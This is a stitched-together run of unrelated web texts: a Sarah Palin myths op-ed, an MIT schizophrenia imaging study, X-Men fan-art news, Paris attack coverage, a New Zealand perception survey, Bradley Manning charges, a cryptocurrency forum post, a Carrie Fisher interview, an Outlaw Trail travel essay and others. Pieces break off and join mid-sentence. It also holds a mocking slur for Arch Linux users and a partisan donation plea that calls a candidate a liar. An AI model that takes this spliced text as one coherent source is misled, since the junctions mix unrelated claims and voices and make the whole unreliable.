So, if you are giving this season, or plan in giving in the upcoming year, I personally would recommend donating to one of those three standout charities.Think you know Sarah Palin? The former Alaska governor has been in the spotlight ever since John McCain named her as his running mate on Aug. 29, 2008. Yet, while practically everybody has an opinion about Palin, not all of those opinions are grounded in reality. Many of them are based more on a "Saturday Night Live" caricature than on the living, breathing, 46-year-old mother of five. The real Sarah Palin is a complex woman who has risen in no time from obscurity to the stratosphere of American politics, fusing celebrity and populism in novel ways. Now that she's laying the foundation for a possible presidential run in 2012, it's worth taking a moment to separate the facts about Palin from the fables.
1. Palin cost McCain the 2008 election.
She didn't. CNN's 2008 national exit poll, for example, asked voters whether Palin was a factor when they stepped into the voting booth. Those who said yes broke for McCain 56 percent to 43 percent.
Before Palin's selection, remember, McCain suffered from an enthusiasm gap. Republicans were reluctant to vote for the senator from Arizona because of his reputation as a maverick who'd countered his party on taxes, immigration, drilling in the Arctic National Wildlife Refuge and "cap and trade" climate legislation. But Palin's conservative record in Alaska and antiabortion advocacy changed the Republican mood. With her by his side, McCain's fundraising and support from conservatives improved. It wasn't enough to beat Barack Obama -- but McCain probably would have lost the presidency by a greater margin if he had, say, selected independent Sen. Joe Lieberman as his running mate, further alienating the GOP base.
Yes, it's possible that Palin's conservatism and uneven performance on the campaign trail shifted some voters to Obama's column. But even if Obama picked up some anti-Palin votes, he surely didn't need them: The economy was in recession, Wall Street was in meltdown, and the incumbent Republican president was incredibly unpopular. In the end, it's impossible to know how McCain would have performed if he hadn't selected Palin -- politics does not allow for control experiments.
2. Resigning as governor was rash.
No one expected Palin's resignation on July 3, 2009, just 2 1/2 years into her term. Her hastily composed and clumsily delivered farewell address left many observers confused about her motives. Some of her critics were only too eager to fill in the gaps with conjecture and hearsay (She's being investigated by the FBI! Sarah and Todd must be headed for divorce!). If there was one thing everybody knew for sure, it was that Palin's career in politics was over.
But none of the rumored scandals ever broke. The Palins remain married. And as for Sarah Palin's career, it's taken off. She plays a far greater role in American public life than she did before she left office.
When Palin returned to Alaska after the 2008 campaign, she confronted three problems. The political coalition on which she had based her governorship -- a combination of Democrats and renegade "Palinista" Republicans -- had collapsed. Her critics were using Alaska's tough ethics laws to launch investigations into her behavior, sapping her finances and her energy. Finally, every time she traveled to the Lower 48, Alaskans criticized her for putting her political interests above the state's.
Palin's solution was to resign. Her agenda stood a better chance of passing if then-Lt. Gov. Sean Parnell, who shared Palin's goals, succeeded her as governor. As a private citizen, meanwhile, Palin could make enough money to pay her legal bills. And she would no longer be accused of neglecting her official duties.
Some might say that Palin's resignation was shortsighted and showed that she was not ready for the demands of executive office. But if Palin had remained governor, she would have been denied opportunities to rally the tea party and fight in the battle over the Obama agenda. She would have been stuck on a regional stage. Instead, she's back on the national one.
3. Palin and the tea party are destroying the GOP.
You've heard the spiel: The Republican Party is in the midst of a civil war between moderate incumbents and far-right challengers backed by Palin and the tea party. Driving Charlie Crist from the GOP and defeating establishment figures such as Robert Bennett, Lisa Murkowski and Mike Castle spells electoral doom for the party. The only chance Republicans have for long-term success is to move to the center in a bid to win over millennials and Latinos.
But demographics aren't destiny, and no one knows what the future holds. The reality, right now, is that Palin and the tea party are saving the GOP by dragging it back to its roots and mobilizing conservative voters.
Remember, by the time Palin arrived on the national scene, the Republican Party was depleted, exhausted and held in disrepute. An unpopular war in Iraq, an economy in recession and GOP corruption had driven away independents. Meanwhile, massive government spending and a liberal immigration policy had dispirited conservatives.
This is where Palin came in. In the wake of Obama's historic victory, she and countless other grass-roots activists could have abandoned the GOP and turned the tea party into a conservative third party. They didn't. They decided instead to refashion the Republican Party from the ground up, pressuring it to live up to its limited-government ideals. Now, two years after Obama's win, Republicans are poised to reap major gains in the midterm elections. Palin and the tea party haven't hurt the GOP one bit.
4. Palin is extreme.
On many of the most important issues of the day, Palin holds positions that are squarely in the center-right of American political discourse. And many of those positions, not incidentally, are held by a large segment or even a majority of the public. For instance, neither the public nor Palin believes the stimulus worked. And while most Americans may not
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this liar. The Missouri Senate race is number one on FiveThirtyEight's list of Senate rankings. Blunt is hauling in money from his fatcat friends and his tobacco-lobbyist wife. Please donate to his opponent, Robin Carnahan, if you can.A GNU/Linux distro for insecure teenagers who desperately need to prove to themselves that they're l33t. Arch users (archtards) are firm believers in The Archtard Way, which dictates that editing configuration files by force is the path to l33tness (see gentoo ), even if all they're doing is directly following instructions from the Arch wiki.Having installed Arch, one of the first rites of passage for the Archtard is to visit the Ubuntu forums and irc channels. Archtards love Ubuntu, because it's one of the few communities where they feel they can assert their l33tness without being laughed at. They like to offer insightlful solutions such as "u should install arch if u really want to learn linux", or to point out how n00b the Ubuntu distro is, even though they were using Ubuntu last week.Schizophrenia may blur the boundary between internal and external realities by over-activating a brain system that is involved in self-reflection, and thus causing an exaggerated focus on self, a new MIT and Harvard brain imaging study has found.
The traditional view of schizophrenia is that the disturbed thoughts, perceptions and emotions that characterize the disease are caused by disconnections among the brain regions that control these different functions.
But this study, appearing Jan. 19 in the advance online issue of the Proceedings of the National Academy of Sciences, found that schizophrenia also involves an excess of connectivity between the so-called default brain regions, which are involved in self-reflection and become active when we are thinking about nothing in particular, or thinking about ourselves.
"People normally suppress this default system when they perform challenging tasks, but we found that patients with schizophrenia don't do this," said John D. Gabrieli, a professor in the McGovern Institute for Brain Research at MIT and one of the study's 13 authors. "We think this could help to explain the cognitive and psychological symptoms of schizophrenia."
Gabrieli added that he hopes the research might lead to ways of predicting or monitoring individual patients' response to treatments for this mental illness, which occurs in about 1 percent of the population.
Schizophrenia has a strong genetic component, and first-degree relatives of patients (who share half their genes) are 10 times more likely to develop the disease than the general population. The identities of these genes and how they affect the brain are largely unknown.
The researchers thus studied three carefully matched groups of 13 subjects each: schizophrenia patients, nonpsychotic first-degree relatives of patients and healthy controls. They selected patients who were recently diagnosed, so that differences in prior treatment or psychotic episodes would not bias the results.
The subjects were scanned by functional magnetic resonance imaging (fMRI) while resting and while performing easy or hard memory tasks. The behavioral and clinical testing were performed by Larry J. Seidman and colleagues at Harvard Medical School, and the imaging data were analyzed by first author Susan Whitfield-Gabrieli, a research scientist at the MIT Martinos Imaging Center at the McGovern Institute.
The researchers were especially interested in the default system, a network of brain regions whose activity is suppressed when people perform demanding mental tasks. This network includes the medial prefrontal cortex and the posterior cingulate cortex, regions that are associated with self-reflection and autobiographical memories and which become connected into a synchronously active network when the mind is allowed to wander.
Whitfield-Gabrieli found that in the schizophrenia patients, the default system was both hyperactive and hyperconnected during rest, and it remained so as they performed the memory tasks. In other words, the patients were less able than healthy control subjects to suppress the activity of this network during the task. Interestingly, the less the suppression and the greater the connectivity, the worse they performed on the hard memory task, and the more severe their clinical symptoms.
"We think this may reflect an inability of people with schizophrenia to direct mental resources away from internal thoughts and feelings and toward the external world in order to perform difficult tasks," Whitfield-Gabrieli explained.
The hyperactive default system could also help to explain hallucinations and paranoia by making neutral external stimuli seem inappropriately self-relevant. For instance, if brain regions whose activity normally signifies self-focus are active while listening to a voice on television, the person may perceive that the voice is speaking directly to them.
The default system is also overactive, though to a lesser extent, in first-degree relatives of schizophrenia patients who did not themselves have the disease. This suggests that overactivation of the default system may be linked to the genetic cause of the disease rather than its consequences.
The default system is a hot topic in brain imaging, according to John Gabrieli, partly because it is easy to measure and because it is affected in different ways by different disorders.
This study was supported by the Mental Illness and Neuroscience Discovery Institute, National Association of Research in Schizophrenia and Depression Stone Award, National Institute of Mental Health, Massachusetts Department of Mental Health's Commonwealth Research Center, the Poitras Center for Affective Disorders Research at the McGovern Institute/MIT and the National Center for Research Resources. Other contributors to the study were Heidi W. Thermenos, Snezana Milanovic, Robert W. McCarley, Martha E. Shenton and Joanne Wojcik (Harvard Medical School); Ming T. Tsuang (Harvard Institute of Psychiatric Epidemiology and Genetics); Stephen V. Faraone (State University of New York); Alan I. Green (Dartmouth Medical School), Alfonso Nieto-Castanon (MIT); and Peter LaViolette (Martinos Center for Biomedical Imaging).An impressive line up of X-Men Infinity Concept fan art has hit the web and we are completely blown away. Thanks to Character Artist Hector Moran, the X-Men gang got the Infinity treatment they likely will never get to see in real life. With character rights tied up between multiple studios, popular characters like Wolverine or Cyclops aren’t available to the team in charge of designing and creating Infinity content and unless something drastic changes in the future we probably won’t see anything more than a quick easter egg or hidden nod.
Hector’s X-Men character design seems to be plucked right out of the fantastic 90’s animated series we all grew up with and love. From his design it looks like he was going for a sentinel battle story line, with the character’s figure base and props being the scrapped pieces of the big tin men baddies. One thing we absolutely love about these figures is the subtle hints that they would utilize some Light FX tech with glowing eyes, powers and props.
His line up features seven mutant heroes including Wolverine, Cyclops, Gambit, Storm, Jean, Beast, Rogue and a Sentinel villain sculpt.
While this may be one of those “in your dreams” scenarios, we can continue to pray to the mighty magic mouse to one day make this happen.
Make sure you visit Hector’s site for more incredible 2D & 3D character art – Hec.mx
Check out Hector’s awesome renders of each character in the gallery below!
X-Men Disney Infinity Fan Art Gallery
Follow Hector on Twitter! He is the man!
I'm now watching my #Xmen fanart go sorta viral here in the tweets, fun and weird. Was a blast making them. pic.twitter.com/o3v447NBOA — Hector Moran (@SculptorHec) November 18, 2015
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French President Francois Hollande told parliament on Monday the coordinated suicide bombings and shootings which killed at least 129 people had been planned in Belgium.
A French intelligence source, commenting on Belgium’s security resources, told AFP: “The Belgians just aren’t up to it”.
The comments drew wide coverage in media in Belgium, where officials scrambled to defend the country’s record.
“A priori, there were only three individuals involved who came from Belgium, that means five were French,” Guy Rapaille, the head of Belgium’s intelligence oversight committee, told state broadcaster RTBF.
“It will be up to the investigation to decide where the attacks were planned. We cannot decide in advance who are the ones responsible,” he added.
France has identified two of the suicide attackers as Frenchmen who were living in Belgium. An international arrest warrant has also been issued for the brother of one of the attackers, another Frenchman who was living in Molenbeek, a poor district of Brussels home to many Muslim immigrants which is now at the center of investigations into the attacks.
Belgian Justice Minister Koen Geens pointed to Belgian police uncovering a jihadist cell in the eastern Belgian town of Verviers in January and foiling a plan to launch an attack in Belgium.
“After Verviers, other countries congratulated us,” Geens told RTBF.
“Now, just like others, we were unable to prevent things from happening. If there is blame, I do not mind looking into it when the time is right.”Image via Flickr user Michael Button
Read: Check Out the Brand New 'Game of Thrones' Teaser
Every year, the ominously named Perils of Perception survey forms a snapshot of how different countries view themselves. After conducting 25,556 interviews across 33 countries, they quantify how removed our self perceptions are from reality. The results are presented in an "index of Ignorance" table. This year, New Zealand proved they have a pretty low opinion of themselves. Although to be fair, most surveyed nations displayed an impressive lack of national insight.
Coming in at number five on the list, New Zealand was the highest ranked developed country. Only Mexico, India, Brazil, and Peru's populations had a more warped self image. Kiwis ranked behind Australia, the US, and China in their ability to estimate how the population was performing across a number of subjects like female employment and obesity rates.
Image via
In general, New Zealanders thought they were older and less urban than they really are. Their answers also illustrated how media coverage can skew the way we see ourselves.
The most jarring disconnect between reality and wherever New Zealand is, was around the division of wealth. In NZ, the wealthiest one percent of the population control 18 percent of the country's money. But the results showed that the average Kiwi believed the super rich were actually in charge of 50 percent of the nation's cash.
Interestingly, New Zealand was one of the only countries surveyed that didn't really have a problem with the disproportionate division of wealth. Most countries believed the wealthy should control a smaller percent of the national capital than they presently do. But Kiwis bucked this trend. When asked what percent the wealthy should control, New Zealanders felt they should crank it up to 27 percent.
Alongside demonstrating surprising trust in the wealthy, the survey provided an insight into how mass self perception can be manipulated and influenced. Bobby Duffy, the Managing Director of the institute that performed the study, pointed out that the areas where citizens showed the least perception were usually those that are extensively covered in the media. Speaking to the New Zealand Herald he elaborated, "We know from previous studies that this is partly because we over-estimate what we worry about—as well as worrying about the issues we think are widespread."
Topics like immigration, which is extensively reported on, were often seen to be more pressing, and affecting more people, than they were. Survey results showed New Zealanders believe that 37 percent of the population were migrants—the third highest estimate of any country—but in reality it is 25 percent.
The only time New Zealanders demonstrated any glimmer of positivity was when estimating rates of obesity. In fact, when it comes to waistlines, Kiwis are feeling pretty good about themselves. Residents reported thinking that only 47 percent of the population was overweight or obese—unfortunately the real number is 66 percent.
At a glance the results could be viewed as evidence that the population is wildly out of touch, and overly influenced by the media. But the general trend across the data was that New Zealanders have a deeply pessimistic view of themselves. With the exception of the obesity stats—the participants continuously underestimated their own population. For example, they estimated that they had less women in the workplace and political office and fewer people with access to the internet than they actually did.
So while the "ignorant" title isn't likely to help anyone feel much better about themselves, it does act as a reminder that New Zealand is officially not as shit as it thinks.22 New Charges Against Pfc. Manning, Still No Connection To Wikileaks
Pfc. Bradley Manning faces twenty-two new charges, including one that could put him before a firing squad, but investigators still can't prove any direct links between him and Wikileaks.
Doug Mataconis · · 2 comments
Late yesterday, the Army filed 22 additional charges against Pfc. Bradley Manning, including one that could lead to the death penalty:
WASHINGTON — The Army announced 22 additional charges on Wednesday against Pfc. Bradley Manning, the military intelligence analyst who is accused of leaking a trove of government files to WikiLeaks a year ago. The new charges included “aiding the enemy”; wrongfully causing intelligence to be published on the Internet, knowing that it was accessible to the enemy; multiple counts of theft of public records, transmitting defense information and computer fraud. If he is convicted, Private Manning could be sentenced to life in prison. “The new charges more accurately reflect the broad scope of the crimes that Private First Class Manning is accused of committing,” said Capt. John Haberland, an Army spokesman. The charges provide new details about when prosecutors believe that Private Manning downloaded copies of particular files from a classified computer system in Iraq. For example, the charges say he copied a database of more than 250,000 diplomatic cables between March 28 and May 4, 2010. The charges also accuse Private Manning of twice “adding unauthorized software” to the secret computer system — once between February and early April 2010, and again on May 4. A press release accompanying the charges said the software was used “to extract classified information” from the system. Eugene Fidell, who teaches military law at Yale Law School, noted that several of the charges seemed to be describing the same basic act, but in different ways. He said that it was “typical for military prosecutors to draft charges in as many ways as possible,” and he predicted that the defense would challenge the redundancies later in the process. “We’re potentially entering a new chapter with this set of charges,” Mr. Fidell said. Several of the charges were predicated on the notion that various sets of files were worth more than $1,000. The charge sheet did not explain how the government had determined the value of the copied files, but it cited a federal statute that has a higher penalty when property worth at least $1,000 is involved. The charge sheet also did not identify “the enemy” that Private Manning was accused of aiding. A military statement says that charge can be a capital offense, but the prosecution team had decided against recommending the death penalty in this case.
Despite that recommendation, though, the ultimate decision on Manning’s sentence remains with the ;residing military judge, who could accept or reject the recommendation Additionally, as Jazz Shaw notes, a death sentence for Manning could put President Obama in a difficult political position:
If the military decides to drag Manning out back and shoot him – a distinct possibility – a significant portion of Barack Obama’s base will be in an uproar. They tend to be opposed to the death penalty in general, for starters. But Manning has also become something of a folk hero on the Left, allegedly helping – albeit indirectly – Julian Assange to “stick it to the man” and expose the various perceived evils of the American government. Allowing him to be executed would be a huge black eye for Obama with his base. But if he steps in and commutes the sentence – assuming there is a legal mechanism for him to do so – then he will be seen as undercutting his own military establishment and substituting his judgment for their established practices and discipline. (Not to mention earning the tag of “going soft on traitors,” always a sure winner in an election year.)
Personally, though, I don’t think it would be that difficult a position for the President. The number of people complaining about Manning’s treatment can basically be whittled down to the Glenn Greenwald segment of the President’s progressive base, and many of them don’t seem to understand that Manning’s rights as a military prisoner being prosecuted under the Uniform Code Of Military Justice are distinctly different from the rights he would be entitled to as a civilian defendant in a civilian court. Additionally, many of them don’t seem to think that he did anything wrong even if the charges against him are true. I dare to say that they do not represent a majority of the Democratic Party, and certainly not a majority of the country. If Bradley Manning is convicted of aiding the enemy, then I doubt many Americans are going to care what happens to him.
There’s one fact buried in the new charges that I’ve only seen reported in the MSNBC story on them, though:
Pentagon and military officials also report that investigators have made no direct link between Manning and WikiLeaks founder Julian Assange.
This has been the case for months, despite digging by federal investigators in all directions, and it makes the probability that any charges will ever be sustained against Wikileaks, Julian Assange, or any related individuals, seem very remote indeed.EdisonX3
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NewbieActivity: 42Merit: 0 [EdisonX3] Block Time Discussion- You Vote, You Decide [Development in Progress] March 01, 2014, 05:26:26 AM #1
and we'll decide from there. Community, You can now have a vote, and you can decide what you'd like to see EdisonX3 be like with Confirmation/Block Times.
Cast your vote now, and explain your selected answer or theory.
Here is our current Specifications- however, we still are in development and willing to take on some new ideas.
Specs
Algo = Scrypt
Max coins = 950,000,000
Block time = 30 minutes
Difficulty re-targets every block
Block reward = 1922
Block reward decreases by 10% every month for the first year.
PRE-mine? Either 0% or no more than 0.97% (Still in the works)
By the year 3000 block reward will be 50 EDISON's per block.
There will be total of 950,000,000 coins created in 1000 years of mining EdisonX3.
The EdisonX3 team will be deciding in the next day or two. This is all up for discussions. More EdisonX3 Development Voting Threads will be up soon.
Pre-Ann (In-Development) Thread:
EdisonX3- The History PRE-Crypto Currency:
Join the waiting list @
** Invite Only Forums** Discuss it on the forums ~
The Official Historical Crypto Currency Representation of EdisonX3 Logo: http://edisonx3.org/images/EdisonX3CryptoCurrency750.png EdisonX3 is a community vibrant crypto currency. We still are in development phases; however, the main foundation is setup to gather community input,and we'll decide from there. Community, You can now have a vote, and you can decide what you'd like to see EdisonX3 be like with Confirmation/Block Times.Cast your vote now, and explain your selected answer or theory.however, we still are in development and willing to take on some new ideas.SpecsAlgo = ScryptMax coins = 950,000,000Block time = 30 minutesDifficulty re-targets every blockBlock reward = 1922Block reward decreases by 10% every month for the first year.PRE-mine? Either 0% or no more than 0.97% (Still in the works)By the year 3000 block reward will be 50 EDISON's per block.There will be total of 950,000,000 coins created in 1000 years of mining EdisonX3.The EdisonX3 team will be deciding in the next day or two. This is all up for discussions. More EdisonX3 Development Voting Threads will be up soon.Pre-Ann (In-Development) Thread: https://bitcointalk.org/index.php?topic=491711.0 EdisonX3- The History PRE-Crypto Currency: https://bitcointalk.org/index.php?topic=493270 Join the waiting list @ http://www.EdisonX3.org (Submit your email for an invite at launch and invitation to the forums)** Invite Only Forums** Discuss it on the forums ~ http://forum.EdisonX3.orgCarrie Fisher has said she regrets signing away her likeness for free while working on George Lucas's first Star Wars film.
Fisher, who was 19 when she starred as Princess Leia in the hugely successful space saga, said she had no idea at the time that she would still be discovering new ways in which her image could be used for commercial gain more than three decades after the release of the film in 1977. Interviewed for the Daily Beast in a piece headlined "Carrie Fisher on how George Lucas stole her identity", the actor turned comic and author said she often felt like Minnie Mouse because the Leia brand had so completely eclipsed any other public identity she had.
"The mistake was I signed away my likeness for free," said Fisher, who is the daughter of 50s singer Eddie Fisher and Hollywood legend Debbie Reynolds. "In those days, there was no such thing as a 'likeness', which is a funny thing to say coming from the family that I came from. There was no merchandising tied to movies. No one could have known the extent of the franchise. Not that I don't think I'm cute or anything, but when I looked in the mirror, I didn't think I was signing away anything of value.
"As I've gone along, people will come to me and say: 'We got the licensing from George Lucas to make these socks.' So my daughter can walk around on my face. How much money could I have made from all this stuff? I don't want to know. It's too upsetting. Yet funny."
Fisher, who fought a highly-publicised battle with drink and drug addiction in the wake of Star Wars' success, said she had even discovered a brand of marijuana named after Leia. "I never liked marijuana, so the fact that I'm a type of marijuana is ironic," she said.
Fisher said Lucas had never apologised for failing to reward her financially for the use of her image, but insisted she was not bitter. "Me having a tantrum in the corner for my cut of Star Wars toothpaste? I don't want to get into it."At the trail register into Robbers’ Roost Canyon – a several-hundred-mile complex of towering walls and deep slots in remote southern Utah – a backpacker had scrawled a warning. A cougar came into his camp at night, yellow-eyed and prowling, and the hiker, “badly spooked,” stayed up throwing rocks to keep the animal at bay. My friend Travis, a wisecracking Texan in his fifties, scoffed at the backpacker’s note. “What would Butch have done?” he said, holding up the.380 pistol he’d brought with him. He meant Butch Cassidy – the real one, not the Hollywood version made famous by Paul Newman in the 1969 movie ‘Butch Cassidy and the Sundance Kid.’ In the 1890s, Cassidy and his band of merry psychopaths, the Wild Bunch, holed up in the Roost, one of the wilderness hideouts along the 2,000-mile length of what was known as the Outlaw Trail, the redoubt of the most successful bank and train robbers in the Wild West. “Couple rounds from this and a shot or two of whiskey,” said Travis, “and we’ll be fine.”
A week earlier, in Grand Junction, Colorado, Travis had been accosted by a meth head, and he had drunkenly pulled a knife to defend himself. The guy backed off, but Travis made the mistake of sheathing the weapon, at which point the meth head decked him. Now his right eye socket and cheekbone, both broken, looked like they’d been smeared with tar. I’d wondered if he’d want to do the trip in that condition – he could barely see out of the busted eye – but with Butch Cassidy as motivation, he’d decided to man up.
Originally, I had wanted to use horses to trace the Utah portion of the Outlaw Trail, which is in fact a network of paths sprawling from Texas to Montana. Horse and cattle thieves during the 1860s were the first to blaze these byways, decades before Cassidy. In Utah, outcast Mormons wanted for murder or polygamy established some of the first settlements along the trail’s most remote parts. But it was April, and the days were already hot, and no horse guide would take us into the Roost this time of year, as good water would be hard to find. So we shouldered our heavy packs under the sun, in a spring wind that stung our eyes, and headed out on foot.
That night, we camped at the bottom of the Roost, near the Dirty Devil River, which runs wide and shallow, silted and undrinkable. Our canteens were running low, the desert night was cold, and I kept thinking of the cougar. “Yep, that old mountain lion’s watching us right now, got 10 times our night vision,” said Travis, before drifting into a grinding snore.
In 1976, Robert Redford, who plays the Sundance Kid in the movie, traveled the trail for several hundred miles as part of an article he authored for ‘National Geographic.’ “As technology thrusts us relentlessly into the future, I find myself, perversely, more interested in the past,” Redford wrote. “We seem to have lost something – something vital, something of individuality and passion. That may be why we tend to view the western outlaw, rightly or not, as a romantic figure.”
Edward Abbey, environmentalist and self-described anarchist, who joined Redford on his ride along the Outlaw Trail, once wrote that the deserts of the American Southwest were a safe house of political liberty, “a refuge from authoritarian government.” In his 1968 book, ‘Desert Solitaire,’ he described “revolutionaries, operating in mountain, desert, and jungle hinterlands with the active or tacit support of a thinly dispersed population.” He was thinking of Vietnam and Cuba, but his words could equally apply to Butch and the Wild Bunch, who were able to survive because of the support of the Utah locals. “If guns are outlawed,” Abbey continued, “only the government will have guns…and a few outlaws. I intend to be among the outlaws.”
Once upon a time in America, a man could point a gun at a banker and flee with his money into the wilderness and not get caught. Renegades like Cassidy found their way on the Outlaw Trail, operating across terrain that remains even today some of the most forbidding in America. They survived – they thrived – because it was dangerous, unmapped territory. My idea, probably a foolish one, was to see if I could find a place in the wild reaches of the American West where an outlaw, or at least someone who wanted to feel like one, could still hide out. What we know of Butch Cassidy is as much fable as fact, and those who keep the history have often not been much interested in separating the two. It doesn’t help that Hollywood’s version of the story, with Newman and Redford carrying the banner of half-truth, is the one most people recognize. We do know that Butch Cassidy was born Robert LeRoy Parker, in 1866, in Beaver, Utah, the eldest son of Mormon parents. Growing up poor, Parker, at age 14, went to work on a ranch in Circle Valley, north of what is today Bryce Canyon National Park. There he met Mike Cassidy, a small-time rustler who was influential enough that Robert took his last name. Rustling was one of the only ways small ranchers and cowboys could survive in this era, as cattle corporations and barons had seized the best range. Utah author Charles Kelly, Butch Cassidy’s earliest biographer, wrote in his 1938 book, ‘The Outlaw Trail,’ that when the barons “succeeded in squeezing out or running off a homesteader or small rancher by force, as often occurred, they frequently created an outlaw. Not being able to defend himself otherwise, the victim retaliated in the only way he knew how – by turning cattle thief.”
Butch ended up running lots of stolen stock into the badlands of Bryce Canyon, into the stony wilderness of the Robbers’ Roost, and beyond – into southwestern Colorado, through the tough cow towns of Mancos and Dolores and Cortez. Under Mike Cassidy’s tutelage, he learned to ride bareback, rope steers, plant a hot brand, and handle guns. He learned the fast draw and how to make a standing leap into a moving saddle.
He soon drifted into Wyoming, Montana, and Nebraska, cowpunching on ranches for a meager living, and by 1889 he was in the mining boomtown of Telluride, Colorado. There he trained horses, hauled ore in treacherous horse trains, and became known as a skilled jockey in the horse-racing and gambling rackets that were the chief entertainment of cowboys. According to Charles Kelly, he was a well-built and charming young man, with “a disarming smile” and a “rapid-fire way of talking, which later served him well.” He was “universally liked” and known across Utah as “the best shot in Circle Valley,” this despite the fact that we are told in varying accounts that he abhorred bloodshed, was “never vengeful,” “was quiet and inoffensive,” and “cared not at all for liquor or cards.”
In Telluride, he met a horse-racing buff and cattle rustler named Matt Warner, who one day persuaded him to fire a tremendously powerful gun while seated on a horse-watering trough. The gun – which Warner had, for reasons lost to history, nicknamed Butch – knocked young Cassidy flat into the water in the trough. To honor the occasion, he took the name of the gun, and Butch Cassidy was born.
Butch’s first large robbery that we know of, in 1889, netted $21,000 from the San Miguel Valley Bank in Telluride, which he took down with Warner and two criminal associates. Chased by the law, he headed for the Outlaw Trail, fleeing west to Utah and then forcing his horse on a grueling 200-mile ride north toward the Wyoming border. After a rest of just three days, he doubled back, heading to the safety of the Robbers’ Roost, which was already well established as a hideout for horse thieves and murderers.
By 1896, after having been caught near Lander, Wyoming, and then doing two years in state prison for horse theft, Butch had formed around him the core of veteran robbers and bad men who would eventually come to be known as the Wild Bunch – and sometimes as the Hole-in-the-Wall Gang and sometimes as the Train Robbers’ Syndicate. It was a loosely run outfit. “There was no compulsory drafting of men into projects,” writes historian Michael Rutter. “You worked if it suited you and you liked the job.” Along with Matt Warner, Cassidy’s band included William Ellsworth “Elzy” Lay, a cowboy intellectual who is said to have read history by firelight, and with whom Butch planned and executed some of his most difficult robberies; William “News” Carver, a sometime member of the murderous “Black Jack” Ketchum Gang, who enjoyed seeing his name in print; and Harvey “Kid Curry” Logan, described in most accounts as a cold-blooded murderer who was more feared than Butch Cassidy.
Somewhere along the way, Butch met up with a transplanted easterner from outside Philadelphia named Harry Alonzo Longabaugh, who had studied Shakespeare as a teenager and come west at age 15. In 1887, Longabaugh faced 18 months in jail in Sundance, Wyoming, after being charged with stealing a gun, a saddle, and a horse. He wrote a letter to the local paper “to set my case before the public in a true light….I have always worked for an honest living,” said the man who would come to be known as the Sundance Kid, “but having got discharged last winter, went to the Black Hills to seek employment – which I could not get….After this my course of outlawry commenced.” (The friendship between Butch and Sundance was exaggerated; most researchers agree that they committed, at most, three robberies together.)
And so began the short, sweet heyday of the Wild Bunch. In August 1896, Butch and Elzy Lay hit the Bank of Montpelier in Montpelier, Idaho, for $7,165 in cash, gold, and silver. A posse chased them for a week, giving up only after the outlaws vanished into the desert. In April 1897, they snatched at least $8,000 from the mine payroll at Castle Gate, Utah. ‘The Salt Lake Tribune’ declared the robbery – mounted by Butch and Elzy in broad daylight, in a narrow canyon settlement with only one point of egress – “one of the most daring affairs ever recorded.” Butch holed up with his haul for three months in the Robbers’ Roost, where he was now considered, as Kelly writes, “king of the Roosters, an aristocrat among mere cattle rustlers.” When supplies ran low, Butch dispatched his women – hookers for the most part – to the lonely towns nearby for booze and bullets, sending them across miles of hard, waterless desert. Butch lived well in the Roost: He built tents and held big barbecues, all-night gambling sessions, pistol competitions, and horse races.
Between 1897 and 1900, Butch led or helped plan nearly a dozen major bank and train holdups. The assaults on the express-car caches of the Union Pacific Corporation made him infamous nationwide. ‘The New York Herald’, in 1899, described him as the leader of “lawless men who have lived long in the crags and become like eagles.” He was hunted by U.S. Marshals, the Pinkerton Detective Agency, and Union Pacific mercenaries. Over the 10 years it was active, the Wild Bunch made off with roughly $200,000, the equivalent today of more than $4 million. They also committed at least 20 homicides, though Butch was never implicated in pulling the trigger. “I never robbed an individual – only banks and railroads that have been robbing the people for years,” Butch told a lawyer friend in 1899. Charley Gibbons, owner of a general store in the Utah village of Hanksville during the 1890s, said Butch always paid his debts and “always paid cash.” Kelly, in ‘The Outlaw Trail,’ wrote “all old-timers interviewed for this biography, including the officers who hunted him, were unanimous in saying, ‘Butch Cassidy was one of the finest men I ever knew.'” Butch was Robin Hood with a Colt.45, and enough sources attest to his decency streak that it might even be true. After two days on the trail, Travis and I made for the highest reaches of the canyons of the Roost, where that hiker had encountered a cougar and where we hoped to find some evidence of Butch or the Wild Bunch in the caves. It was a hellacious slog. The sun bashed down on the canyon floor, the walls heated up in a furnace effect, and the trail was nothing more than deep, wallowing sand.
Soon we were parched and needed more water. Butch, who understood this land better than just about anyone, had fewer problems. He knew the springs and secret seeps that kept him one step ahead of lawmen, who feared they’d die of thirst if they chased him into the Roost. After an hour of hunting around and cursing, we finally came across a seep under a cliff furred with supple vegetation. It dripped as slowly as a stopped clock, and we spent another hour in the sun, battling the gnats, to gather one liter of the precious stuff. At one point, I thought I heard the voices of other people coming to the spring for water. “We’ll have to fight ’em for it,” said Travis, practicing his Texan tough-guy twang. No one appeared, but Travis still drew the pistol and fired 50 rounds into the ground, the reports launching against the canyon walls. The gigantic silence squelched the last of the shots, and we ate canned sardines and couscous for lunch, with an aftertaste of dirt. We never found the caves. The goal, after three more days of wandering in the canyon, was to head east in our rented Jeep on the miles of intestine-bashing road that skirt the Roost, following, as best we could, the Outlaw Trail toward Horseshoe Canyon, the site of another of Butch’s camps (we never found that one, either). Not far from Horseshoe, we came upon a group of six half-lost college kids straggling along a dirt road in shorts and T-shirts, their eyes ringed, their faces hangdog. They had gone too deep on a canyoneering expedition, couldn’t find the exit as the daylight waned, and were forced to spend the night in the canyon, unprepared, with no survival gear. Only a few miles away was the spot where canyoneer Aron Ralston famously trapped his arm under a chockstone and then amputated it below the elbow. Ralston’s story is captured in a movie, ‘127 Hours,’ although given the choice I’d rather have Paul Newman than James Franco play me.
We gave the kids water from the five-gallon jug in the back of our Jeep. Travis shook his head as they plodded away. In every direction, there was cliff, canyon, sand, rock, and no shade worth dying in. We were five hours by from the nearest outpost of civilization. “
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end. His curiosity and creativity will survive through school. And he won’t stop asking questions to find The Art Of Happiness.
Don’t date a man who reads. He can be empathetic. He is used to putting himself in every character’s shoes. He will be there to pick you up when you fall. He knows Attitudes of Gratitude: How to Give and Receive Joy Everyday of Your Life.
Don’t date a man who reads. He will like to challenge you like A Call To The Wild. He will give you book suggestions that will drive you crazy. He will push you hard to grow, and to share the journey with him. Nothing will be nice and smooth like a bed of roses. But the more you open your mind, the more things you will discover. And the more you read, the more you will realize you know nothing. And you won’t be able to stop chasing new ideas.
Don’t date a man who reads. You will have a hard time reading him. The key to his heart lies below thousands of books. You will have to read things you don’t like. You will read things that will make you cry. You will read things that make you comfortable. That is part of every relationship. It will take real effort to meet his Great Expectations.
